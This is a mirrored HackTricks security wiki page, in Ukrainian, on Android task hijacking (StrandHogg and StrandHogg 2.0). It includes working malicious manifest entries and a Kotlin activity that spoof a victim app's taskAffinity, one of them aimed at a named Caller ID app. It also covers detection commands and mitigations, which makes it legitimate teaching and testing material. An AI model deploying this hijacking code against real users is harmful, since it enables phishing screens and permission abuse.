mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
145 lines
13 KiB
Markdown
145 lines
13 KiB
Markdown
# Android Task Hijacking
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## Task, Back Stack and Foreground Activities
|
||
|
||
В Android, **task** - це, по суті, набір активностей, з якими користувачі взаємодіють для виконання конкретної роботи, організованих у **back stack**. Цей стек упорядковує активності на основі того, коли вони були відкриті, з найновішою активністю, що відображається вгорі як **foreground activity**. У будь-який момент часу лише ця активність видима на екрані, що робить її частиною **foreground task**.
|
||
|
||
Ось швидкий огляд переходів між активностями:
|
||
|
||
- **Activity 1** починається як єдина активність на передньому плані.
|
||
- Запуск **Activity 2** переміщує **Activity 1** у back stack, виводячи **Activity 2** на передній план.
|
||
- Запуск **Activity 3** переміщує **Activity 1** та **Activity 2** далі назад у стеку, з **Activity 3** тепер спереду.
|
||
- Закриття **Activity 3** повертає **Activity 2** на передній план, демонструючи спрощений механізм навігації завдань Android.
|
||
|
||
.png>)
|
||
|
||
---
|
||
|
||
## Task affinity attacks
|
||
|
||
`taskAffinity` вказує Android, до якого завдання `Activity` *надає перевагу* належати. Коли дві активності мають однакову афіліацію, **Android дозволяє об'єднувати їх у одному back-stack, навіть якщо вони походять з різних APK**.
|
||
|
||
Якщо зловмисник може розмістити шкідливу активність на **root** цього стеку, щоразу, коли жертва відкриває легітимний додаток, шкідливий інтерфейс буде першим, що побачить користувач – ідеально для фішингу або зловживання дозволами.
|
||
|
||
Атака має ширшу поверхню, ніж багато розробників вважають, оскільки **кожна активність автоматично успадковує афіліацію, рівну імені пакета програми** (якщо розробник не встановить `android:taskAffinity=""`). Тому *нічого не роблячи* вже залишає додаток відкритим для захоплення завдань на версіях Android до 11.
|
||
|
||
### Класичний сценарій "singleTask / StrandHogg"
|
||
|
||
1. Зловмисник оголошує активність з:
|
||
```xml
|
||
<activity android:name=".EvilActivity"
|
||
android:exported="true"
|
||
android:taskAffinity="com.victim.package"
|
||
android:launchMode="singleTask" >
|
||
<intent-filter>
|
||
<action android:name="android.intent.action.MAIN"/>
|
||
<category android:name="android.intent.category.LAUNCHER"/>
|
||
</intent-filter>
|
||
</activity>
|
||
```
|
||
2. Шкідливий додаток запускається один раз, щоб завдання (з підробленою афіліацією) існувало в останніх завданнях.
|
||
3. Коли користувач пізніше відкриває реальний додаток, Android виявляє, що вже існує завдання, чия **root афіліація відповідає пакету**, і просто виводить це завдання на передній план.
|
||
4. Інтерфейс зловмисника показується першим.
|
||
|
||
### Варіант Default–Affinity (без `singleTask`) – Дослідження Caller ID
|
||
|
||
Вразливість, виявлена в додатку **Caller ID (caller.id.phone.number.block)**, показує, що атака *також* працює проти стандартного режиму запуску `standard`:
|
||
|
||
1. Зловмисний додаток створює фальшиву кореневу активність і відразу ж ховається:
|
||
```kotlin
|
||
class HackActivity : AppCompatActivity() {
|
||
override fun onCreate(savedInstanceState: Bundle?) {
|
||
super.onCreate(savedInstanceState)
|
||
moveTaskToBack(true) // зберегти завдання в останніх, але поза полем зору
|
||
}
|
||
}
|
||
```
|
||
2. У маніфесті потрібно лише скопіювати пакет жертви в `taskAffinity`:
|
||
```xml
|
||
<activity android:name=".HackActivity"
|
||
android:exported="true"
|
||
android:taskAffinity="com.caller.id.phone.number.block" >
|
||
<intent-filter>
|
||
<action android:name="android.intent.action.MAIN"/>
|
||
<category android:name="android.intent.category.LAUNCHER"/>
|
||
</intent-filter>
|
||
</activity>
|
||
```
|
||
3. Як тільки користувач встановлює і відкриває шкідливий додаток **один раз**, завдання, афіліація якого дорівнює пакету жертви, існує (але знаходиться на фоні).
|
||
4. Коли запускається реальний додаток Caller ID, Android повторно використовує це завдання і виводить `HackActivity` на передній план → фішинг вікно/зловживання дозволами.
|
||
|
||
> ПРИМІТКА: Починаючи з **Android 11 (API 30)**, система *не* поміщає два пакети, які не є частиною одного UID, в одне завдання за замовчуванням, що пом'якшує цей конкретний варіант. Старі версії залишаються вразливими.
|
||
|
||
---
|
||
|
||
### StrandHogg 2.0 (CVE-2020-0096) – Захоплення завдань на основі рефлексії
|
||
|
||
Безпековий бюлетень Google за травень 2020 року виправив більш просунутий варіант, названий **StrandHogg 2.0**. Експлуатація **не покладається на `taskAffinity` взагалі**; натомість вона використовує *рефлексію*, щоб динамічно вставити активність зловмисника на верхівку *кожного* запущеного завдання, повністю обходячи обмеження "спільного UID", введене Android 11.
|
||
|
||
Ключові моменти:
|
||
|
||
* Шкідливий додаток з нульовими дозволами може, після відкриття, перебрати запущені завдання і викликати приховані API, щоб **перенести** свою власну активність у будь-яке завдання.
|
||
* Оскільки активність вставляється після часу виконання, ні `launchMode`, ні статичний аналіз маніфесту не можуть виявити атаку заздалегідь.
|
||
* Виправлено шляхом перенесення перевірки в **Android 8.0/8.1/9** (травень 2020 SPL). **Android 10 і новіші не підлягають впливу.**
|
||
|
||
Виявлення на пристроях до виправлення може бути виконано за допомогою `adb shell dumpsys activity activities` і спостереження за підозрілими активностями, ім'я пакета яких відрізняється від *афіліації* завдання.
|
||
|
||
Пом'якшення для старих пристроїв таке ж, як і класичне захоплення завдань **плюс** перевірка під час виконання (наприклад, виклик [`ActivityManager#getRunningTasks`](https://developer.android.com/reference/android/app/ActivityManager#getRunningTasks(int)) і перевірка вашого власного імені пакета).
|
||
|
||
---
|
||
|
||
## Detection & Exploitation checklist
|
||
|
||
1. **Статичний огляд** – Витягніть `AndroidManifest.xml` з цільового APK і перевірте, що кожна `<activity>` (або глобальний елемент `<application>`) містить `android:taskAffinity=""` (порожній) **або** налаштоване значення. Інструменти, такі як:
|
||
```bash
|
||
# Використовуючи apkanalyzer (Android SDK)
|
||
apkanalyzer manifest print app.apk | grep -i taskaffinity
|
||
|
||
# Використовуючи AXMLPrinter2
|
||
java -jar AXMLPrinter2.jar AndroidManifest.xml | grep taskAffinity
|
||
```
|
||
2. **Динамічний огляд** – На пристрої відкрийте цільовий додаток і перелікуйте завдання:
|
||
```bash
|
||
adb shell dumpsys activity activities | grep -A3 "TASK" | grep -E "Root|affinity"
|
||
```
|
||
Завдання, чия коренева афіліація дорівнює пакету жертви, але верхня активність належить до *іншого* пакету, є червоним прапором.
|
||
3. Створіть шкідливий додаток, як описано вище, або використовуйте **[Drozer](https://github.com/WithSecureLabs/drozer)**:
|
||
```bash
|
||
drozer console connect
|
||
run app.activity.start --component com.victim/.MainActivity --action android.intent.action.MAIN
|
||
run app.activity.info com.victim
|
||
```
|
||
|
||
---
|
||
|
||
## Mitigation
|
||
|
||
Розробники повинні:
|
||
|
||
* Явно встановити `android:taskAffinity=""` на рівні `<application>` (рекомендується) **або** надати кожній активності унікальну, приватну афіліацію.
|
||
* Для дуже чутливих екранів поєднати вищезазначене з `android:launchMode="singleInstance"` або сучасними [`setLaunchMode`](https://developer.android.com/reference/android/content/pm/ActivityInfo#launchMode) захистами.
|
||
* Оновити `targetSdkVersion` додатка та впровадити **Android 11** зміни поведінки, де завдання за замовчуванням не діляться між пакетами.
|
||
* Націлити **Android 12 (API 31) або вище**, щоб обов'язковий атрибут `android:exported` змусив розробників перевіряти кожен зовнішньо доступний компонент.
|
||
* Розглянути самозахист під час виконання: періодично запитувати `ActivityTaskManager`, щоб переконатися, що пакет вашої верхньої активності відповідає вашому власному.
|
||
|
||
---
|
||
|
||
## Related UI-Hijacking techniques
|
||
|
||
Захоплення завдань часто поєднується з або замінюється **tapjacking** (обман інтерфейсу на основі накладок). Дослідження **TapTrap** 2025 року показало, що повністю прозорі *анімовані* активності можуть обійти обмеження на накладення дотиків, введені в Android 12–14, і все ще обманювати користувачів, змушуючи їх надавати небезпечні дозволи. Хоча TapTrap не є строго *захопленням* завдань, кінцева мета (фішингові кліки) ідентична – тому сучасні оцінки повинні перевіряти обидві поверхні атак.
|
||
|
||
---
|
||
|
||
## References
|
||
|
||
- [https://blog.dixitaditya.com/android-task-hijacking/](https://blog.dixitaditya.com/android-task-hijacking/)
|
||
- [https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html)
|
||
- [Android Manifest Misconfiguration Leading to Task Hijacking in Caller ID app](https://github.com/KMov-g/androidapps/blob/main/caller.id.phone.number.block.md)
|
||
- [https://medium.com/mobile-app-development-publication/the-risk-of-android-strandhogg-security-issue-and-how-it-can-be-mitigated-80d2ddb4af06](https://medium.com/mobile-app-development-publication/the-risk-of-android-strandhogg-security-issue-and-how-it-can-be-mitigated-80d2ddb4af06)
|
||
- [Promon – StrandHogg 2.0 (CVE-2020-0096) technical write-up](https://promon.io/resources/downloads/strandhogg-2-0-new-serious-android-vulnerability)
|
||
- [USENIX 2025 – TapTrap: Animation-Driven Tapjacking on Android](https://www.usenix.org/conference/usenixsecurity25/presentation/beer)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|